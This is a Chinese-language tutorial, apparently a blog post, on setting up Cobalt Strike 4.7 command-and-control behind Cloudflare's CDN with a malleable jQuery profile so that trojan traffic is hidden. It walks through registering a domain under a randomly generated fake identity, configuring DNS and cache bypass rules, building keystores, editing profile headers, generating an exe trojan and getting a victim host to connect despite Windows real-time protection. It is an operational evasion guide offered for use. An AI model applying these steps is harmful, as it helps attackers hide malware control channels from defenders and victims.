CS 域前置+流量混淆

0x01环境

c2 服务器:cs 4.7

服务器端:CentOS 7

客户端:win10

语言:Java 11

0x02 概述

上线原理为 受害者主机运行木马—–>CDN—->cs服务器收到上线

执行操作原理为 cs服务器执行命令—–>CDN接收—–>受害者主机执行命令

架构:

freenom.com + cloudflare.com + vps

freenom 作为免费的域名,cloudfare作为CDN

域名+CDN+VPS

0x03 注册申请相关

1.freenom

具体注册可以参考这个

https://zhuanlan.zhihu.com/p/115535965

https://www.freenom.com/

先在搜索框输入任意的域名,然后检查可用性

选择购买多长时间,然后点击继续

然后选择邮箱,最好是Google邮箱,临时邮箱注册不了

后面需要填写真实身份,不然注册不上,可以使用随机身份生成一个

https://www.shenfendaquan.com/,然后填写对应的就行了

至此,注册及申请完成。你会得到一个域名。

2.CloudFlare

这个是CDN

https://www.cloudflare.com/

直接用临时邮箱注册一个即可

https://temp-mail.org/zh/

0x04 绑定服务器

将freenom 购买的域名添加进去

可以参考这个

https://blog.csdn.net/weixin_42891146/article/details/122209661

1.添加站点

选择免费的即可

复制 nameserver1 和 nameserver2的内容

2.CDN绑定域名

选择Services→MyDomains

选择Manage Domain

选择Nameservers

将CloudFlare两个地址填进去

返回CloudFlare 去看,这个需要等一会,等到 active 即可

3.设置解析

添加一个 A记录 www.xxx.tk content 为ip地址

最终域名为 www.xxx.tk

配置这个

以此往下关闭即可

4.测试

vps 访问开启80端口

1
python3 -m http.server 80

http://www.xxx.tk 域名可以看到内容

然后访问域名的80端口测试

ping域名看看

至此绑定已经完成

0x05 HTTPS 加密

参考这个

https://cn-sec.com/archives/1168150.html

https://blog.csdn.net/weixin_42891146/article/details/122209661

生成www.xxx.tk.store

创建证书

复制证书创建txt导入,修改文件名为xxxx.pem

复制私钥创建txt导入,修改文件名为xxxx.key

将创建的pem和key文件上传至云服务器。执行以下命令(www.xxx.com为申请的域名)

1
2
3
4
5
openssl pkcs12 -export -in xxxx.pem -inkey xxxx.key -out www.xxx.com.p12 -name www.xxx.com -passout pass:123456


keytool -importkeystore -deststorepass 123456 -destkeypass 123456 -destkeystore www.xxx.com.store -srckeystore www.xxx.com.p12 -srcstoretype PKCS12 -srcstorepass 123456 -alias www.xxx.com

0x06 流量混淆

1.配置profile文件

GitHub有很多,具体可以自己找,搜索 profile 关键字即可

https://github.com/threatexpress/malleable-c2

这里我用的是这个,因为我的cs是4.7的所以用4.7的 profile

https-certificate

打开下载好的jquery-Profile

一个是https-certificate模块中的keystorepassword,修改后把注释去掉

1
2
3
4
5
6
//原文件
# set keystore "/pathtokeystore";
# set password "password";
修改为,要带 store
set keystore "www.xxx.tk.store"
set password "123456"

http-stager

修改http-stager 中的Host和Referer及Content-Type。

1
2
3
4
5
6
7
// server 中 Content-Type
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";

// client Host和Referer

http-get

1
2
3
4
5
6
// server 中 Content-Type
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";

// client Host和Referer

http-post

1
2
3
4
5
6
// server 中 Content-Type
header "Content-Type" "application/javascript; charset=utf-8";
修改为:
header "Content-Type" "application/*; charset=utf-8";

// client Host和Referer

在这个Profile中,我们请求的URI是以.js结尾的,Cloudflare作为一个CDN肯定要去缓存它,但这样的话请求就无法到达我们的CS服务器,自然也就无法上线了。使用开发模式并清除缓存(这个只能缓存两个小时)。

设置规则,不让CloudFlare 进行缓存

2.测试

将修改的jquery-c2.4.3.profile 上传vps上面

在修改完成后,使用CS自带的c2lint对profile语法进行检查,没有报错的话说明配置是对的。

4.7 不带这个 c2lint 直接运行如下,如果没有错误说明正确,如果有错误会提示profile哪一行出现问题

1
./teamserver 127.0.0.1 password jquery-c2.4.3.profile

0x07 测试上线

1.启动cs服务器

1
./teamserver 127.0.0.1 password jquery-c2.4.3.profile

2.新建监听器

!!! 注意:

如果CS的服务器是国内服务器且没有进行备案的话,是无法使用80、8080、443、8443端口提供服务的;如果服务器是国外服务器的话则无影响。Cloudflare的代理模式只有部分端口能够使用,使用时要注意端口的设置,否则是监听不到的。

Cloudflare 支持的 HTTP 端口:80、8080、8880、2052、2082、2086、2095

Cloudflare 支持的 HTTPS 端口:443、2053、2083、2087、2096、8443

3.抓包测试

生成exe木马,抓包测试

是CDN 地址

http流量

https 流量

powershel

如果不上线检查一下window的实时防护

查看端口建立情况,可以查看,我们监听的http的端口是8880,这个地址

1
2
netstat -ant 

0x08 修改端口

1
2
./TeamServerImage -Dcobaltstrike.server_port=48951 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 teamserver $*

可作为参考的链接

https://cloud.tencent.com/developer/article/1952637

https://www.wangan.com/p/7fy7475c1903ed27

https://www.exterminate-dog.com/2022/01/17/2022004/

https://cn-sec.com/archives/1168150.html

https://xz.aliyun.com/t/5728

https://blog.csdn.net/weixin_42891146/article/details/122209661

https://toutiao.io/posts/d3yizxm/preview